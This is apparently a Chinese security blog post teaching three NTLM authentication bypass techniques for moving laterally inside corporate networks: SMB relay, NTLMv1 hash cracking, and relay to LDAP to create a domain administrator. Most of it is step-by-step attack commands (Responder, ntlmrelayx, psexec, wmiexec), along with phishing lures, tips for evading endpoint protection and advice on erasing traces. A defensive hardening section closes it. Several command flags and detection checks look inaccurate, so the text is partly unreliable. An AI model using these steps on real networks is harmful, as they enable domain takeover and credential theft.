返回文章列表
帮助中心

如何绕过 NTLM 认证?3 个绕过 NTLM 认证的技巧

小羊
2025-12-02
1周前
如何绕过 NTLM 认证?3 个绕过 NTLM 认证的技巧

在企业内网渗透测试中,横向移动是突破单点权限、掌控整个内网的关键环节。而 SMB(Server Message Block)协议因广泛用于文件共享、打印机服务等核心场景,成为横向移动的 “主干道”。NTLM 认证作为 SMB 协议的核心身份验证机制,本是内网安全的 “守门人”,但实际环境中因配置兼容、协议版本等问题,常出现可被利用的漏洞点。

本文结合真实测试场景,拆解 3 个可复现的 NTLM 认证绕过技巧,每个技巧均包含原理分析、实战条件、操作步骤及风险提示,同时配套对应的防御方案。

一、技巧 1:利用 SMB Signing 关闭,实现 NTLM 中继攻击

1.1 原理分析

SMB Signing(SMB 签名)是微软为抵御中继攻击设计的防护机制,其核心逻辑是:SMB 数据包传输时,会附加基于会话密钥生成的数字签名,接收方验证签名合法后才处理请求。若目标主机关闭 SMB Signing(工作组环境默认关闭,部分域环境为兼容老旧设备也会关闭),攻击者就能 “劫持” SMB 认证请求,中继到其他未开启 SMB Signing 的主机,无需破解 Hash 即可建立会话。

简单说,这就像快递员送货时,若收件人不核对快递单签名(SMB Signing 关闭),攻击者就能把 A 的快递(认证请求)转送给 B,让 B 误以为是合法请求并接收。

1.2 实战前提

  • • 目标主机未开启 SMB Signing(可通过工具检测);
  • • 攻击者与目标主机处于同一内网网段,能捕获 SMB 流量;
  • • 目标主机需发起 SMB 请求(可通过诱导或触发自动请求实现)。

1.3 操作步骤

以 “Responder+ntlmrelayx” 组合工具为例(需在授权测试环境使用):

  1. 1. 配置 Responder:修改responder.conf文件,关闭本地 SMB 和 HTTP 服务(避免与 ntlmrelayx 冲突),具体注释掉SMB = On和HTTP = On两行;
  2. 2. 启动流量监听:运行 Responder 捕获目标网段的 LLMNR/NBNS 请求(内网主机访问不存在的共享时,会通过这些协议查询,是攻击入口),命令:responder -I eth0 -w -r -d(-I指定网卡,-w开启 HTTP 监听,-r开启 SMB 中继,-d伪造 DNS 响应);
  3. 3. 配置中继规则:运行 ntlmrelayx,指定要中继的目标主机列表(支持多个 IP),命令:python3 ``ntlmrelayx.py`` -smb2support -t smb://``192.168.1.100``,smb://``192.168.1.101(-smb2support支持 SMBv2 协议,-t指定目标 SMB 地址);
  4. 4. 诱导 SMB 请求:通过邮件发送含恶意共享链接(如\\``192.168.1.99``\test,192.168.1.99 为攻击者 IP)的文档,或利用内网打印机自动查询共享的特性,触发目标主机发起 SMB 请求;
  5. 5. 执行横向移动:当中继成功,ntlmrelayx 会自动建立 SMB 会话,可直接执行命令添加管理员用户,示例:net user test Test@123 /add && net localgroup administrators test /add后续可通过 psexec 工具登录目标主机:psexec \\``192.168.1.100`` -u test -p Test@123 cmd.exe。

1.4 注意事项

  • • 用 nmap 脚本smb2-security-mode.nse提前检测目标 SMB Signing 状态,命令:nmap -p445 --script smb2-security-mode ``192.168.1.0/24,输出 “Message signing enabled but not required” 即为可攻击状态;
  • • 中继无法跨 SMB 版本,若目标主机仅支持 SMBv1,需在 ntlmrelayx 中添加-smb1support参数;
  • • 部分终端防护软件会拦截 Responder 的欺骗流量,可通过修改工具进程名或临时关闭防护规则规避(需授权)。

二、技巧 2:利用 NTLMv1 弱加密,破解 Hash 实现横向

2.1 原理分析

NTLM 认证分 NTLMv1 和 NTLMv2 两个版本,NTLMv1 因采用 DES 加密算法(密钥长度仅 56 位),且存在 LM Hash 奇偶校验位漏洞,加密强度极低。当目标主机配置允许 NTLMv1(通过注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa\LMCompatibilityLevel控制,值为 0-3 时支持 NTLMv1),攻击者捕获 NTLMv1 Hash 后,可通过字典快速破解出明文密码,进而用明文密码登录其他主机。

这类似于用简单密码锁(NTLMv1),攻击者拿到锁的 “特征码”(Hash)后,能轻松试出钥匙(明文密码)。

2.2 实战前提

  • • 目标主机LMCompatibilityLevel注册表值为 0-3(允许 NTLMv1);
  • • 能捕获目标主机的 SMB 认证流量(如通过 Wireshark 或 Responder);
  • • 拥有高质量密码字典(需符合目标企业密码策略,如含年份、部门缩写)。

2.3 操作步骤

  1. 1. 捕获 NTLMv1 Hash:
  • • 用 Wireshark 监听内网 445 端口(SMB 默认端口),设置过滤条件smb.auth.ntlmv1,等待目标主机发起 SMB 认证(如访问共享文件夹);
  • • 或用 Responder 捕获,命令:responder -I eth0 -f(-f强制使用 NTLMv1),当目标主机访问攻击者的恶意共享时,即可捕获 Hash;
  1. 1. 转换 Hash 格式:捕获的 Hash 需转换为破解工具可识别的格式,例如 Hashcat 支持的 “NTLMv1” 格式(示例:username::domain:LMHash:NTLMHash:challenge);
  2. 2. 破解明文密码:使用 Hashcat 工具,指定 1000 模式(NTLM Hash 破解),结合字典破解,命令:hashcat -m 1000 ntlmv1.hash rockyou.txt -o result.txt(-m 1000指定破解模式,rockyou.txt为常用密码字典,-o输出破解结果);
  3. 3. 横向移动登录:若破解成功,用明文密码通过 wmiexec 工具登录其他主机,示例:wmiexec.py`` domain\user:Password123@``192.168.1.102`` "whoami"(wmiexec 无需上传文件,隐蔽性高于 psexec)。

2.4 注意事项

  • • Windows Vista 及以上系统默认禁用 LM Hash,此时 NTLMv1 Hash 仅含 NTLM 部分,破解难度略有增加,但仍可通过强字典突破;
  • • 若LMCompatibilityLevel值为 4 或 5,目标仅支持 NTLMv2,无法捕获 NTLMv1 Hash,需换用其他技巧;
  • • 破解效率依赖硬件性能,GPU 加速(如 RTX 3090)可将破解速度提升 10 倍以上,复杂密码(如 12 位混合字符)需更长时间。

三、技巧 3:中继 NTLM 到 LDAP,修改域权限横向

3.1 原理分析

LDAP(轻量级目录访问协议)是域环境中存储用户、计算机信息的核心服务,默认情况下,多数企业域控未开启 LDAP Signing(LDAP 签名)和 Channel Binding(通道绑定)。此时,攻击者可将 SMB 协议的 NTLM 认证请求,中继到 LDAP 服务,利用中继的身份(如域用户)修改域内用户权限(如添加管理员),实现 “无密码” 横向到域控。

这相当于把 A 给 B 的 “身份凭证”(NTLM 认证),转交给 C(LDAP 服务),让 C 误以为是 A 的合法操作,从而授权修改权限。

3.2 实战前提

  • • 域控未开启 LDAP Signing 和 Channel Binding(Windows Server 2019 及以上默认开启,需提前检测);
  • • 攻击者能与域控的 389 端口(LDAP 默认端口)通信;
  • • 中继的 NTLM 身份需具备 LDAP 修改权限(如域管理员、具备 “写入用户属性” 权限的普通域用户)。

3.3 操作步骤

  1. 1. 检测 LDAP 配置:用 AdFind 工具查询域控 LDAP Signing 状态,命令:adfind -h ``dc01.domain.com`` -s base ((objectcategory=domaincontroller)) msDS-SupportedEncryptionTypes若输出不含 “128”(代表 LDAP Signing 启用),则可攻击;
  2. 2. 配置 LDAP 中继:运行 ntlmrelayx,指定域控 LDAP 地址,并设置添加域管理员用户,命令:python3 ``ntlmrelayx.py`` -t ldap://``dc01.domain.com`` -ldap-add-user hackuser -ldap-password Hack@123 -ldap-group "Domain Admins"(-ldap-add-user指定新增用户名,-ldap-password设置密码,-ldap-group将用户添加到域管理员组);
  3. 3. 触发 SMB 请求:向域内用户发送含恶意 SMB 链接的钓鱼邮件(如伪装成 “公司新共享文件”),用户点击后,其主机的 SMB 认证请求会被 Responder 捕获并中继到 LDAP;
  4. 4. 验证权限并登录:中继成功后,通过net group "Domain Admins" /domain命令验证 hackuser 是否加入域管理员组,随后用 psexec 登录域控:psexec \\``dc01.domain.com`` -u domain\hackuser -p Hack@123 cmd.exe此时已掌控整个域环境,可批量横向到其他域内主机。

3.4 注意事项

  • • Windows Server 2016 及以上系统,安装 KB4490425 补丁后会启用 Channel Binding,需先检测补丁是否安装(通过systeminfo | findstr KB4490425);
  • • 若中继的是普通域用户,需确保该用户具备 “修改域用户属性” 权限,否则会提示 “权限不足”;
  • • 操作后需及时清理痕迹(如删除新增的 hackuser),避免被日志审计发现。

四、实战防御:从根源阻断 NTLM 绕过风险

上述 3 个技巧的核心漏洞点,均源于 “配置不当” 而非协议本身缺陷。企业只需通过基础配置加固,即可大幅降低风险:

1. 开启 SMB Signing

通过组策略强制开启 SMB 签名,路径:

计算机配置→Windows设置→安全设置→本地策略→安全选项

  • • 启用 “Microsoft 网络服务器:数字签名(如果客户端同意)”;
  • • 启用 “Microsoft 网络客户端:数字签名(如果服务器同意)”;
  • • 域环境下,需在 “域控制器” 和 “域工作站” 组策略中同步配置。

2. 禁用 NTLMv1,强制 NTLMv2

修改LMCompatibilityLevel注册表值,通过组策略配置路径:

计算机配置→Windows设置→安全设置→本地策略→安全选项→网络安全:LAN管理器身份验证级别

  • • 设置为 “仅发送 NTLMv2 响应,拒绝 LM 和 NTLM”(值为 5);
  • • 重启主机使配置生效,需提前测试老旧设备兼容性。

3. 开启 LDAP Signing 和 Channel Binding

域控上通过组策略加固 LDAP:

  • • 启用 “域控制器:LDAP 服务器签名要求”(设置为 “需要签名”);
  • • 启用 “域控制器:LDAP 客户端签名要求”(设置为 “需要签名”);
  • • 安装最新系统补丁,确保 Channel Binding 功能启用(Windows Server 2019 及以上默认启用)。

4. 监控异常流量与操作

通过 SIEM 工具(如 Splunk、ELK)监控以下行为:

  • • 同一 IP 短时间内发起大量 LLMNR/NBNS 请求(Responder 特征);
  • • 非域控主机向多个 IP 发起 SMB 中继请求(ntlmrelayx 特征);
  • • LDAP 服务中异常的用户添加、组权限修改(技巧 3 特征)。

5. 定期配置审计

每季度用 OpenVAS、Nessus 等工具扫描内网,重点检查:

  • • SMB Signing 是否开启;
  • • NTLMv1 是否禁用;
  • • LDAP 签名与通道绑定是否启用;
  • • 域用户 LDAP 权限是否过度授权(如普通用户具备写入权限)。

五、总结

内网横向移动的核心逻辑,是 “利用现有漏洞点,实现权限传递”。本文所述的 3 个 NTLM 绕过技巧,本质上都是对 “配置漏洞” 的利用 ——SMB Signing 关闭、NTLMv1 启用、LDAP 签名缺失,这些问题在中小型企业内网中尤为常见。

本文内容仅供参考,不构成任何专业建议。使用本文提供的信息时,请自行判断并承担相应风险。

分享文章
合作伙伴

本站所有广告均是第三方投放,详情请查询本站用户协议